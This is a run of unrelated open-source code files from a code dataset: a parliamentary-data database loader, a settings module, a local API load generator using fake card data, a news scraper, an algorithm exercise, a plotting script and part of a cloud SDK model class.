\"parliament_period_id\": api_election_program[\"parliament_period\"][\"id\"]\n if api_election_program[\"parliament_period\"]\n else None,\n \"party_id\": api_election_program[\"party\"][\"id\"]\n if api_election_program[\"party\"]\n else None,\n \"link_uri\": api_election_program[\"link\"][0][\"uri\"],\n \"link_title\": api_election_program[\"link\"][0][\"title\"],\n \"link_option\": api_election_program[\"link\"][0][\"option\"]\n if api_election_program[\"link\"][0].get(\"option\")\n else None,\n \"file\": api_election_program[\"file\"],\n }\n for api_election_program in api_election_programs\n ]\n insert_and_update(ElectionProgram, election_programs)\n\n\ndef populate_fraction_memberships() -> None:\n api_candidacies_mandates = load_entity(\"candidacies-mandates\")\n fraction_memberships = []\n for api_candidacies_mandate in api_candidacies_mandates:\n fraction_membership = api_candidacies_mandate.get(\"fraction_membership\")\n if fraction_membership:\n membership = fraction_membership[0]\n new_fraction_membership = {\n \"id\": membership[\"id\"],\n \"entity_type\": membership[\"entity_type\"],\n \"label\": membership[\"label\"],\n \"fraction_id\": membership[\"fraction\"][\"id\"],\n \"valid_from\": membership[\"valid_from\"],\n \"valid_until\": membership[\"valid_until\"],\n }\n fraction_memberships.append(new_fraction_membership)\n insert_and_update(FractionMembership, fraction_memberships)\n\n\ndef populate_electoral_data() -> None:\n api_candidacies_mandates = load_entity(\"candidacies-mandates\")\n electoral_data_list = []\n for api_candidacies_mandate in api_candidacies_mandates:\n electoral_data = api_candidacies_mandate[\"electoral_data\"]\n if electoral_data:\n new_electoral_data = {\n \"id\": electoral_data[\"id\"],\n \"entity_type\": electoral_data[\"entity_type\"],\n \"label\": electoral_data[\"label\"],\n \"electoral_list_id\": electoral_data[\"electoral_list\"][\"id\"]\n if electoral_data[\"electoral_list\"]\n else None,\n \"list_position\": electoral_data[\"list_position\"],\n \"constituency_id\": electoral_data[\"constituency\"][\"id\"]\n if electoral_data[\"constituency\"]\n else None,\n \"constituency_result\": electoral_data[\"constituency_result\"],\n \"constituency_result_count\": electoral_data[\n \"constituency_result_count\"\n ],\n \"mandate_won\": electoral_data[\"mandate_won\"],\n }\n electoral_data_list.append(new_electoral_data)\n insert_and_update(ElectoralData, electoral_data_list)\n\n\ndef populate_candidacies_mandates() -> None:\n api_candidacies_mandates = load_entity(\"candidacies-mandates\")\n begin_time = time.time()\n candidacies_mandates = [\n {\n \"id\": api_candidacies_mandate[\"id\"],\n \"entity_type\": api_candidacies_mandate[\"entity_type\"],\n \"label\": api_candidacies_mandate[\"label\"],\n \"api_url\": api_candidacies_mandate[\"api_url\"],\n \"id_external_administration\": api_candidacies_mandate[\n \"id_external_administration\"\n ],\n \"id_external_administration_description\": api_candidacies_mandate[\n \"id_external_administration_description\"\n ],\n \"type\": api_candidacies_mandate[\"type\"],\n \"parliament_period_id\": api_candidacies_mandate[\"parliament_period\"][\"id\"]\n if api_candidacies_mandate[\"parliament_period\"]\n else None,\n \"politician_id\": api_candidacies_mandate[\"politician\"][\"id\"]\n if api_candidacies_mandate[\"politician\"]\n else None,\n # Some dict don't include party itsself\n \"party_id\": api_candidacies_mandate[\"party\"][\"id\"]\n if api_candidacies_mandate.get(\"party\")\n else None,\n \"start_date\": api_candidacies_mandate[\"start_date\"],\n \"end_date\": api_candidacies_mandate[\"end_date\"],\n \"info\": api_candidacies_mandate[\"info\"],\n \"electoral_data_id\": api_candidacies_mandate[\"electoral_data\"][\"id\"]\n if api_candidacies_mandate[\"electoral_data\"]\n else None,\n # Some dict don't include fraction_membership itsself\n \"fraction_membership_id\": api_candidacies_mandate[\"fraction_membership\"][0][\n \"id\"\n ]\n if api_candidacies_mandate.get(\"fraction_membership\")\n else None,\n }\n for api_candidacies_mandate in api_candidacies_mandates\n ]\n insert_and_update(CandidacyMandate, candidacies_mandates)\n end_time = time.time()\n print(\n f\"Total runtime to store {len(candidacies_mandates)} data is {end_time - begin_time}\"\n )\n\n\ndef populate_committee_memberships() -> None:\n api_committees = load_entity(\"committees\")\n committee_ids = set([api_committee[\"id\"] for api_committee in api_committees])\n api_committee_memberships = load_entity(\"committee-memberships\")\n begin_time = time.time()\n committee_memberships = []\n for api_committee_membership in api_committee_memberships:\n committee_id = (\n api_committee_membership[\"committee\"][\"id\"]\n if api_committee_membership[\"committee\"]\n else None\n )\n if committee_id in committee_ids:\n new_membership = {\n \"id\": api_committee_membership[\"id\"],\n \"entity_type\": api_committee_membership[\"entity_type\"],\n \"label\": api_committee_membership[\"label\"],\n \"api_url\": api_committee_membership[\"api_url\"],\n \"committee_id\": api_committee_membership[\"committee\"][\"id\"]\n if api_committee_membership[\"committee\"]\n else None,\n \"candidacy_mandate_id\": api_committee_membership[\"candidacy_mandate\"][\n \"id\"\n ]\n if api_committee_membership[\"candidacy_mandate\"]\n else None,\n \"committee_role\": api_committee_membership[\"committee_role\"],\n }\n committee_memberships.append(new_membership)\n insert_and_update(CommitteeMembership, committee_memberships)\n end_time = time.time()\n print(\n f\"Total runtime to store {len(committee_memberships)} data is {end_time - begin_time}\"\n )\n\n\ndef populate_polls() -> None:\n api_polls = load_entity(\"polls\")\n polls = [\n {\n \"id\": api_polls[\"id\"],\n \"entity_type\": api_polls[\"entity_type\"],\n \"label\": api_polls[\"label\"],\n \"api_url\": api_polls[\"api_url\"],\n \"field_committees_id\": api_polls[\"field_committees\"][0][\"id\"]\n if api_polls[\"field_committees\"]\n else None,\n \"field_intro\": api_polls[\"field_intro\"]\n if api_polls[\"field_intro\"]\n else None,\n \"field_legislature_id\": api_polls[\"field_legislature\"][\"id\"]\n if api_polls[\"field_legislature\"]\n else None,\n \"field_poll_date\": api_polls[\"field_poll_date\"],\n }\n for api_polls in api_polls\n ]\n insert_and_update(Poll, polls)\n\n\ndef populate_poll_has_topic() -> None:\n api_polls = load_entity(\"polls\")\n polls_topics = []\n for api_poll in api_polls:\n field_topics = api_poll[\"field_topics\"]\n if field_topics:\n for topic in field_topics:\n poll_topic = {\n \"poll_id\": api_poll[\"id\"],\n \"topic_id\": topic[\"id\"],\n }\n polls_topics.append(poll_topic)\n session = Session()\n stmt = insert(PollHasTopic).values(polls_topics)\n stmt = stmt.on_conflict_do_nothing()\n session.execute(stmt)\n session.commit()\n session.close()\n\n\ndef populate_field_related_link() -> None:\n api_polls = load_entity(\"polls\")\n poll_related_links = []\n for api_poll in api_polls:\n poll_id = api_poll[\"id\"]\n field_related_links = api_poll[\"field_related_links\"]\n if field_related_links:\n for field_related_link in field_related_links:\n poll_related_link = {\n \"poll_id\": poll_id,\n \"uri\": field_related_link[\"uri\"],\n \"title\": field_related_link[\"title\"],\n }\n poll_related_links.append(poll_related_link)\n insert_and_update(FieldRelatedLink, poll_related_links)\n\n\ndef populate_votes() -> None:\n api_polls = load_entity(\"polls\")\n poll_ids = set([api_poll[\"id\"] for api_poll in api_polls])\n api_votes = load_entity(\"votes\")\n begin_time = time.time()\n votes = []\n for api_vote in api_votes:\n poll_id = api_vote[\"poll\"][\"id\"] if api_vote[\"poll\"] else None\n if poll_id in poll_ids:\n vote = {\n \"id\": api_vote[\"id\"],\n \"entity_type\": api_vote[\"entity_type\"],\n \"label\": api_vote[\"label\"],\n \"api_url\": api_vote[\"api_url\"],\n \"mandate_id\": api_vote[\"mandate\"][\"id\"]\n if api_vote[\"mandate\"]\n else None,\n \"fraction_id\": api_vote[\"fraction\"][\"id\"]\n if api_vote[\"fraction\"]\n else None,\n \"poll_id\": poll_id,\n \"vote\": api_vote[\"vote\"],\n \"reason_no_show\": api_vote[\"reason_no_show\"],\n \"reason_no_show_other\": api_vote[\"reason_no_show_other\"],\n }\n votes.append(vote)\n insert_and_update(Vote, votes)\n end_time = time.time()\n print(f\"Total runtime to store {len(api_votes)} data is {end_time - begin_time}\")\n\n\n# id=1 to id=281 are missing\ndef complement_missing_votes():\n api_polls = load_entity(\"polls\")\n poll_ids = set([api_poll[\"id\"] for api_poll in api_polls])\n api_votes = list(\n (\n fetch_json(\n \"https://www.abgeordnetenwatch.de/api/v2/votes?id[lt]=282&range_end=1000\"\n )[\"data\"]\n )\n )\n votes = []\n for api_vote in api_votes:\n poll_id = api_vote[\"poll\"][\"id\"] if api_vote[\"poll\"] else None\n if poll_id in poll_ids:\n vote = {\n \"id\": api_vote[\"id\"],\n \"entity_type\": api_vote[\"entity_type\"],\n \"label\": api_vote[\"label\"],\n \"api_url\": api_vote[\"api_url\"],\n \"mandate_id\": api_vote[\"mandate\"][\"id\"]\n if api_vote[\"mandate\"]\n else None,\n \"fraction_id\": api_vote[\"fraction\"][\"id\"]\n if api_vote[\"fraction\"]\n else None,\n \"poll_id\": poll_id,\n \"vote\": api_vote[\"vote\"],\n \"reason_no_show\": api_vote[\"reason_no_show\"],\n \"reason_no_show_other\": api_vote[\"reason_no_show_other\"],\n }\n votes.append(vote)\n insert_and_update(Vote, votes)\n\n\ndef populate_sidejob_organizations() -> None:\n api_sidejob_organizations = load_entity(\"sidejob-organizations\")\n sidejob_organizations = [\n {\n \"id\": api_sidejob_organization[\"id\"],\n \"entity_type\": api_sidejob_organization[\"entity_type\"],\n \"label\": api_sidejob_organization[\"label\"],\n \"api_url\": api_sidejob_organization[\"api_url\"],\n \"field_city_id\": api_sidejob_organization[\"field_city\"][\"id\"]\n if api_sidejob_organization[\"field_city\"]\n else None,\n \"field_country_id\": api_sidejob_organization[\"field_country\"][\"id\"]\n if api_sidejob_organization[\"field_country\"]\n else None,\n }\n for api_sidejob_organization in api_sidejob_organizations\n ]\n insert_and_update(SidejobOrganization, sidejob_organizations)\n\n\ndef populate_sidejob_organization_has_topic() -> None:\n api_sidejob_organizations = load_entity(\"sidejob-organizations\")\n organization_topics = []\n for api_sidejob_organization in api_sidejob_organizations:\n field_topics = api_sidejob_organization[\"field_topics\"]\n if field_topics:\n for topic in field_topics:\n organization_topic = {\n \"sidejob_organization_id\": api_sidejob_organization[\"id\"],\n \"topic_id\": topic[\"id\"],\n }\n organization_topics.append(organization_topic)\n session = Session()\n stmt = insert(SidejobOrganizationHasTopic).values(organization_topics)\n stmt = stmt.on_conflict_do_nothing()\n session.execute(stmt)\n session.commit()\n session.close()\n\n\ndef populate_sidejobs() -> None:\n api_sidejobs = load_entity(\"sidejobs\")\n sidejobs = [\n {\n \"id\": api_sidejob[\"id\"],\n \"entity_type\": api_sidejob[\"entity_type\"],\n \"label\": api_sidejob[\"label\"],\n \"api_url\": api_sidejob[\"api_url\"],\n \"job_title_extra\": api_sidejob[\"job_title_extra\"],\n \"additional_information\": api_sidejob[\"additional_information\"],\n \"category\": api_sidejob[\"category\"],\n \"income_level\": api_sidejob[\"income_level\"],\n \"interval\": api_sidejob[\"interval\"],\n \"data_change_date\": api_sidejob[\"data_change_date\"],\n \"created\": api_sidejob[\"created\"],\n \"sidejob_organization_id\": api_sidejob[\"sidejob_organization\"][\"id\"]\n if api_sidejob[\"sidejob_organization\"]\n else None,\n \"field_city_id\": api_sidejob[\"field_city\"][\"id\"]\n if api_sidejob[\"field_city\"]\n else None,\n \"field_country_id\": api_sidejob[\"field_country\"][\"id\"]\n if api_sidejob[\"field_country\"]\n else None,\n }\n for api_sidejob in api_sidejobs\n ]\n insert_and_update(Sidejob, sidejobs)\n\n\ndef populate_sidejob_has_mandate() -> None:\n api_sidejobs = load_entity(\"sidejobs\")\n sidejob_mandates = []\n for api_sidejob in api_sidejobs:\n mandates = api_sidejob[\"mandates\"]\n if mandates:\n for mandate in mandates:\n sidejob_mandate = {\n \"sidejob_id\": api_sidejob[\"id\"],\n \"candidacy_mandate_id\": mandate[\"id\"],\n }\n sidejob_mandates.append(sidejob_mandate)\n stmt = insert(SidejobHasMandate).values(sidejob_mandates)\n stmt = stmt.on_conflict_do_nothing()\n session = Session()\n session.execute(stmt)\n session.commit()\n session.close()\n\n\ndef populate_sidejob_has_topic() -> None:\n api_sidejobs = load_entity(\"sidejobs\")\n sidejob_topics = []\n for api_sidejob in api_sidejobs:\n field_topics = api_sidejob[\"field_topics\"]\n if field_topics:\n for topic in field_topics:\n sidejob_topic = {\n \"sidejob_id\": api_sidejob[\"id\"],\n \"topic_id\": topic[\"id\"],\n }\n sidejob_topics.append(sidejob_topic)\n stmt = insert(SidejobHasTopic).values(sidejob_topics)\n stmt = stmt.on_conflict_do_nothing()\n session = Session()\n session.execute(stmt)\n session.commit()\n session.close()\n\n\ndef populate_position_statements() -> None:\n position_statements = []\n for period_id in PERIOD_POSITION_TABLE:\n statements = gen_statements(period_id)\n position_statements += statements\n insert_and_update(PositionStatement, position_statements)\n\n\ndef populate_positions() -> None:\n positions_list = []\n for period_id in PERIOD_POSITION_TABLE:\n positions = gen_positions(period_id)\n positions_list += positions\n insert_and_update(Position, positions_list)\n\n\ndef populate_cvs_and_career_paths() -> None:\n cv_connection = read_json(\"src/cron_jobs/data/220516_connections.json\")\n cv_table = load_entity_from_db(models.CV)\n cv_table_ids = [cv.politician_id for cv in cv_table]\n last_cv_id = 755\n cvs = []\n for politician in cv_connection:\n politician_id = politician[\"ID\"]\n cv_data = read_json(f\"src/cron_jobs/data/data_politicians/{id}.json\")\n if id in cv_table_ids:\n for cv in cv_table:\n if cv.politician_id == politician_id:\n cv = {\n \"id\": cv.id,\n \"politician_id\": politician_id,\n \"raw_text\": unicodedata.normalize(\n \"NFKD\", cv_data[\"Biography\"][\"Raw\"]\n ),\n \"short_description\": unicodedata.normalize(\n \"NFKD\", cv_data[\"Biography\"][\"ShortDescription\"]\n ),\n }\n cvs.append(cv)\n else:\n cv = {\n \"id\": last_cv_id,\n \"politician_id\": politician_id,\n \"raw_text\": unicodedata.normalize(\"NFKD\", cv_data[\"Biography\"][\"Raw\"]),\n \"short_description\": unicodedata.normalize(\n \"NFKD\", cv_data[\"Biography\"][\"ShortDescription\"]\n ),\n }\n cvs.append(cv)\n last_cv_id += 1\n write_json(\"src/cron_jobs/data/cvs_new.json\", cvs)\n # insert_and_update(CV, cvs)\n\n\ndef insert_weblinks() -> None:\n cv_connection = read_json(\"src/cron_jobs/data/220516_connections.json\")\n weblink_table = load_entity_from_db(models.PoliticianWeblink)\n cv_table_ids = [cv.politician_id for cv in weblink_table]\n last_cv_id = 1\n weblinks = []\n for politician in cv_connection:\n politician_id = politician[\"ID\"]\n cv_data = read_json(f\"src/cron_jobs/data/data_politicians/{id}.json\")\n if id not in cv_table_ids:\n bundestag_link = {\n \"id\": last_cv_id,\n \"politician_id\": politician_id,\n \"link\": cv_data[\"Href\"],\n }\n weblinks.append(bundestag_link)\n last_cv_id += 1\n if \"Links\" in cv_data:\n for link in cv_data[\"Links\"]:\n new_link = {\n \"id\": last_cv_id,\n \"politician_id\": politician_id,\n \"link\": link,\n }\n weblinks.append(new_link)\n last_cv_id += 1\n else:\n print(\"No links\")\n insert_and_update(PoliticianWeblink, weblinks)\n\n\ndef populate_weblinks() -> None:\n truncate_table(\"politician_weblink\")\n weblink_data = read_json(\"src/data_scraper/json_data/weblinks.json\")\n weblinks = []\n for item in weblink_data:\n links = item[\"weblink\"]\n for link in links:\n weblink = {\n \"politician_id\": item[\"politician_id\"],\n \"link\": link,\n }\n weblinks.append(weblink)\n insert_and_update(PoliticianWeblink, weblinks)\n\n\ndef populate_vote_result() -> None:\n vote_results = generate_vote_results(session)\n insert_and_update(models.VoteResult, vote_results)\n\n\ndef populate_poll_results_per_fraction():\n print(\"Starting Process to populate poll_result_per_fraction table\")\n begin_time = time.time()\n\n polls = session.query(Poll.id).all()\n poll_results = session.query(PollResultPerFraction.poll_id).all()\n poll_results_ids = [poll_results_id[0] for poll_results_id in poll_results]\n poll_ids = [poll_id[0] for poll_id in polls]\n\n poll_results_per_fraction = []\n for poll_id in poll_ids:\n if poll_id not in poll_results_ids:\n print(f\" Poll_id {poll_id} is NOT in here\")\n print(f\" Creating items when poll_id is {poll_id}\")\n fractions = (\n session.query(Vote.fraction_id)\n .filter(Vote.poll_id == poll_id)\n .distinct()\n .all()\n )\n fraction_ids = [fraction_id[0] for fraction_id in fractions]\n for fraction_id in fraction_ids:\n total_yes = get_total_votes_of_type(\n \"yes\", poll_id, fraction_id, session\n )\n total_no = get_total_votes_of_type(\"no\", poll_id, fraction_id, session)\n total_abstain = get_total_votes_of_type(\n \"abstain\", poll_id, fraction_id, session\n )\n total_no_show = get_total_votes_of_type(\n \"no_show\", poll_id, fraction_id, session\n )\n poll_result_id = int(str(poll_id) + str(fraction_id))\n poll_result = {\n \"id\": poll_result_id,\n \"entity_type\": \"poll_result\",\n \"poll_id\": poll_id,\n \"fraction_id\": fraction_id,\n \"total_yes\": total_yes,\n \"total_no\": total_no,\n \"total_abstain\": total_abstain,\n \"total_no_show\": total_no_show,\n }\n print(f\" -> Item of fraction_id {fraction_id} created\")\n poll_results_per_fraction.append(poll_result)\n\n print(\n f\"Inserting {len(poll_results_per_fraction)} items into poll_results_per_fraction table\"\n )\n insert_and_update(models.PollResultPerFraction, poll_results_per_fraction)\n\n end_time = time.time()\n print(\n f\"Total runtime to store {len(poll_results_per_fraction)} data is {end_time - begin_time}\"\n )\n\n\ndef update_politicians_occupation() -> None:\n begin_time = time.time()\n session = Session()\n file_path = \"src/cron_jobs/data/politicians.json\"\n \"\"\"has_file = has_valid_file(file_path)\n if not has_file:\n politicians_data = fetch_entity(\"politicians\")\n write_json(file_path, politicians_data) \"\"\"\n politicians = read_json(file_path)\n for politician in politicians:\n id = politician[\"id\"]\n occupation = politician[\"occupation\"]\n if occupation:\n session.query(Politician).filter(Politician.id == id).update(\n {Politician.occupation: occupation}\n )\n session.commit()\n end_time = time.time()\n print(f\"Total runtime to update data is {end_time - begin_time}\")\n\n\ndef populate_party_donations() -> None:\n # TODO: confirm default file name and location from scrapy branch\n party_donations = load_entity(\"party_donations\")\n\n # TODO: hook this function up to db, currently it requires additional local data\n clean_donations(party_donations)\n\n # TODO: move this into the clean donations function, the goal was to keep one JSON\n # with all of the data together to make it easier to work with manually, but that\n # means it has extra keys we don't need for insertion meaning we need to loop through\n # an extra time to remove it\n donations_to_append = []\n\n for donation in party_donations:\n donation_to_append = {\n \"id\": donation[\"id\"],\n \"party_id\": donation[\"party_id\"],\n \"amount\": donation[\"amount\"],\n \"date\": donation[\"date\"],\n \"party_donation_organization_id\": donation[\n \"party_donation_organization_id\"\n ],\n }\n\n donations_to_append.append(donation_to_append)\n\n insert_and_update(PartyDonation, donations_to_append)\n\n\ndef populate_party_donation_organizations() -> None:\n clean_api_party_donation_organizations = load_entity(\"clean_donors\")\n # clean_api_party_donation_organizations = clean_donor(\n # api_party_donation_organizations\n # )\n id = 1\n party_donation_organizations = []\n for api_party_donation_organization in clean_api_party_donation_organizations:\n fail = True\n for item in party_donation_organizations:\n print(item)\n if (\n item[\"donor_name\"] == api_party_donation_organization[\"donor_name\"]\n and api_party_donation_organization[\"donor_address\"]\n == item[\"donor_address\"]\n ):\n fail = False\n if fail:\n party_donation_organization = {\n \"id\": id,\n \"donor_name\": api_party_donation_organization[\"donor_name\"],\n \"donor_address\": api_party_donation_organization[\"donor_address\"],\n \"donor_zip\": api_party_donation_organization[\"donor_zip\"],\n \"donor_city\": api_party_donation_organization[\"donor_city\"],\n \"donor_foreign\": api_party_donation_organization[\"donor_foreign\"],\n }\n party_donation_organizations.append(party_donation_organization)\n id = id + 1\n insert_and_update(PartyDonationOrganization, party_donation_organizations)\n\n\nif __name__ == \"__main__\":\n Base.metadata.create_all(engine)\n # add specific populate function to run from command line here\n","repo_name":"FaceTheFacts/backend","sub_path":"src/cron_jobs/crud_db.py","file_name":"crud_db.py","file_ext":"py","file_size_in_byte":39315,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"30308363186","text":"from pydantic import BaseSettings\nimport os\nfrom pathlib import Path\n\npath_to_dotenv = Path(os.path.dirname(__file__)) / \"..\" / \".env\"\n\n\nclass Settings(BaseSettings):\n \"\"\"\n Set the Environment Variables Automatically using Pydantic\n \"\"\"\n PYTHON_RUNNING_IN_CONTAINER: bool = False\n USE_REMOTE_WEBDRIVER: bool = False\n MAX_ITEMS_PER_SCRAPE: int = 20\n BATCH_SIZE: int = 5\n DEBUG_MODE: bool = False\n\n class Config:\n env_file = path_to_dotenv\n env_file_encoding = 'utf-8'\n\n\nSETTINGS = Settings()\n","repo_name":"dStern98/Redbubble_Scraper","sub_path":"redbubble_scrape/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"19194507052","text":"import requests\nimport time\nimport random\nfrom faker import Faker\nimport time\nfrom time import strftime, localtime\n\n\n\n# Base URL for the Card API\nurl = \"http://localhost:8080\"\n\n# Endpoint paths\nendpoints_normal = [ \n [\"/cards/\", \"GET\"], \n [\"/cards/{id}\", \"GET\"], \n [\"/cards/\", \"POST\"],\n [\"/cards/{id}\", \"PUT\"], \n [\"/cards/{id}\", \"DELETE\"]\n ]\n\nendpoints_anomaly = [ \n [\"/cards/error?count={count}&type=random\", \"GET\"], \n]\n \n\nWINDOW_TIME = 600 # n seconds \n\nfake = Faker()\n\ndef get_dummy_card():\n # generate random expiration date\n exp_month = random.randint(1, 12)\n exp_year = random.randint(2023, 2030)\n exp_date = f\"{exp_month}/{exp_year}\"\n\n id = random.randint(1, 100)\n data = {\n \"id\": id,\n \"cardNumber\" : fake.credit_card_number(),\n \"expirationDate\" : exp_date,\n \"cardHolderName\" : fake.name(),\n \"userId\": id\n }\n return data\n\ndef call_card_service(endpoint):\n\n # Make the HTTP request and print the response\n method = endpoint[1]\n path = endpoint[0]\n\n response = None\n\n if endpoint in endpoints_anomaly:\n if \"{count}\" in path:\n full_url = url + path.replace(\"{count}\", str(random.randint(1, 5)))\n else:\n full_url = url + path\n else:\n data = get_dummy_card()\n\n if \"{id}\" in path:\n full_url = url + path.replace(\"{id}\", str(random.randint(1, 100)))\n else:\n full_url = url + path\n\n\n if method == \"GET\":\n response = requests.get(full_url, timeout=20)\n elif method == \"PUT\":\n response = requests.put(full_url, json=data, timeout=20)\n elif method == \"POST\":\n response = requests.post(full_url, json=data, timeout=20)\n elif method == \"DELETE\":\n response = requests.delete(full_url, timeout=20)\n\n print(f\"Request: {method} {full_url} - Response status code: {response.status_code}\")\n\n# Generate normal window logs for 10 mins\ndef generate_normal_window_logs():\n # print(\"=======================Generating normal logs ==================================\")\n\n start_time = time.time()\n end_time = start_time + WINDOW_TIME # 600 seconds = 10 minutes\n\n print(f\"Normal window: {strftime('%l:%M%p %Z on %b %d, %Y', localtime(start_time))} {strftime('%l:%M%p %Z on %b %d, %Y', localtime(end_time))}\")\n\n while time.time() < end_time:\n # Call normal endpoint 90% of the time and anomlous 10% of the time \n if random.random() < 0.9:\n endpoint = random.choice(endpoints_normal)\n else:\n endpoint = random.choice(endpoints_anomaly)\n time.sleep(2) # extra 2 secs of sleep for anomalous as they generate a lot of data\n \n call_card_service(endpoint) \n time.sleep(1)\n\n print(\"Finished executing normal window for 10 minutes.\")\n\n# Generate anomalous window logs for 10 mins\ndef generate_anomalous_window_logs():\n print(\"=======================Generating anomalous logs ==================================\") \n if random.random() < 0.5:\n generate_more_errors()\n else:\n generate_lots_of_messages()\n\n\ndef generate_more_errors():\n print(\"=======================Generating logs with 90% error and 10% info ==================================\")\n\n start_time = time.time()\n end_time = start_time + WINDOW_TIME # 600 seconds = 10 minutes\n\n while time.time() < end_time:\n\n # Call anomalous endpoint 90% of the time and normal 10% of the time\n if random.random() < 0.9:\n endpoint = random.choice(endpoints_anomaly)\n time.sleep(2) # extra 2 secs of sleep for anomalous as they generate a lot of data\n else:\n endpoint = random.choice(endpoints_normal)\n \n call_card_service(endpoint) \n time.sleep(1)\n\n print(\"Finished executing anomalous window for 10 minutes - 90% ERROR\") \n\ndef generate_lots_of_messages():\n # print(\"=======================Generating lots of INFO logs ==================================\")\n\n start_time = time.time()\n end_time = start_time + WINDOW_TIME # 600 seconds = 10 minutes\n \n print(f\"Normal window: {strftime('%l:%M%p %Z on %b %d, %Y', localtime(start_time))} {strftime('%l:%M%p %Z on %b %d, %Y', localtime(end_time))}\")\n\n while time.time() < end_time:\n # Call normal endpoint all the time \n endpoint = random.choice(endpoints_normal)\n call_card_service(endpoint) \n\n print(\"Finished executing anomalous window for 10 minutes - 100% INFO\")\n\n# Define the start time\nstart_time = time.time()\n\n# Run the program for HOURS_TO_RUN hours\nHOURS_TO_RUN = 2\nwhile (time.time() - start_time) < (HOURS_TO_RUN * 60 * 60):\n if random.random() < 0.9:\n generate_normal_window_logs()\n else:\n generate_anomalous_window_logs()\n time.sleep(3)\n\nprint(\"Program has finished running for 2 hours\", time.time())\n","repo_name":"AnjaliJain-17/Anomaly-Detection","sub_path":"log-generator/log_generation_smart.py","file_name":"log_generation_smart.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"75093034083","text":"from bs4 import BeautifulSoup\nimport requests\n\nresponse = requests.get(\"https://news.ycombinator.com/\")\n\ncontent = response.text\nsoup = BeautifulSoup(content, \"html.parser\")\n#print(soup.title)\n\ntopic = soup.find_all(class_=\"titlelink\")\n#print(topic.get_text())\ntopic_name = []\ntopic_link = []\nfor t in topic:\n name = t.get_text()\n topic_name.append(name)\n link = t.get(\"href\")\n topic_link.append(link)\n\n#\n\ntopic_scores = [int(score.get_text().split(\" \")[0]) for score in soup.find_all(class_=\"score\")]\n#print(topic_scores)\n\nmax_score_index = topic_scores.index(max(topic_scores))\nprint(topic_name[max_score_index])\nprint((topic_link[max_score_index]))\nprint(topic_scores[max_score_index])\n","repo_name":"mehtavandit/100-days-of-code","sub_path":"day 045/Web Scrapping of Hacker News/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6983814346","text":"import sys, bisect\n\ninput = sys.stdin.readline\n\ndef binary_search(idx):\n if not dp:\n dp.append(arr[idx])\n else:\n if arr[idx] > dp[-1]:\n dp.append(arr[idx])\n index[idx] = len(dp)-1\n else:\n insert = bisect.bisect_left(dp,arr[idx])\n dp[insert] = arr[idx]\n index[idx] = insert\n\n\nif __name__ == '__main__':\n n = int(input())\n arr = list(map(int, input().split()))\n dp = []\n index = [0] * n\n index[0] = 0\n for i in range(n):\n binary_search(i)\n max_len = len(dp)\n print(max_len)\n # print(index)\n result = []\n max_len-=1\n for i in range(n-1, -1, -1):\n if index[i] == max_len:\n max_len -= 1\n result.append(arr[i])\n print(*result[::-1])\n\n","repo_name":"jeno8522/Coding-Test-Study","sub_path":"2023(싸피 코테스터디)/6월/4주차/BOJ_G4_14002_가장긴증가하는부분수열4.py","file_name":"BOJ_G4_14002_가장긴증가하는부분수열4.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30699225392","text":"#!/usr/bin/python\nimport sys\nimport re\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import MultipleLocator\nimport numpy as np\nimport math\n\nfile = open('data', 'r')\nnano = []\npage = []\nstr_re = re.compile('\\d+\\.\\d+')\nLines = file.readlines()\nfor line in Lines:\n for s in line.split():\n match = re.search(str_re, s)\n if match:\n nano.append(s)\n if s.isdigit(): \n page.append(s)\n\na = np.arange(len(page))\nx = 2**a\nnano = [float(s) for s in nano]\n\npage = np.array(page)\n\nplt.plot(a, nano, marker='o', color='blue')\nx = [math.log2(int(e)) for e in page]\nprint(page)\nprint(nano)\ny_major_locator=MultipleLocator(2.0)\nax=plt.gca()\nax.yaxis.set_major_locator(y_major_locator)\nplt.ylim(0,25)\nplt.plot(page, nano, marker='o', color='blue')\nplt.xlabel('Number of pages')\nplt.ylabel('Time per Access(ns)')\nplt.xticks(x, page)\nplt.title(\"TLB size measurement (macOS X)\")\nplt.savefig('tlb.png', dpi=227)\nplt.show()\n","repo_name":"MarekZhang/OSTEP-Homework","sub_path":"C19-TLBs/figure.py","file_name":"figure.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"52"} +{"seq_id":"31576617309","text":"from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401\nfrom oci.decorators import init_model_state_from_kwargs\n\n\n@init_model_state_from_kwargs\nclass DynamicSelectionKey(object):\n \"\"\"\n Base policy for defining how to match the context variable in an incoming request with selection keys when dynamically routing and dynamically authenticating requests.\n \"\"\"\n\n #: A constant which can be used with the type property of a DynamicSelectionKey.\n #: This constant has a value of \"ANY_OF\"\n TYPE_ANY_OF = \"ANY_OF\"\n\n #: A constant which can be used with the type property of a DynamicSelectionKey.\n #: This constant has a value of \"WILDCARD\"\n TYPE_WILDCARD = \"WILDCARD\"\n\n def __init__(self, **kwargs):\n \"\"\"\n Initializes a new DynamicSelectionKey object with values from keyword arguments. This class has the following subclasses and if you are using this class as input\n to a service operations then you should favor using a subclass over the base class:\n\n * :class:`~oci.apigateway.models.WildcardSelectionKey`\n * :class:`~oci.apigateway.models.AnyOfSelectionKey`\n\n The following keyword arguments are supported (corresponding to the getters/setters of this class):\n\n :param type:\n The value to assign to the type property of this DynamicSelectionKey.\n Allowed values for this property are: \"ANY_OF\", \"WILDCARD\", 'UNKNOWN_ENUM_VALUE'.\n Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'.\n :type type: str\n\n :param is_default:\n The value to assign to the is_default property of this DynamicSelectionKey.\n :type is_default: bool\n\n :param name:\n The value to assign to the name property of this DynamicSelectionKey.\n :type name: str\n\n \"\"\"\n self.swagger_types = {\n 'type': 'str',\n 'is_default': 'bool',\n 'name': 'str'\n 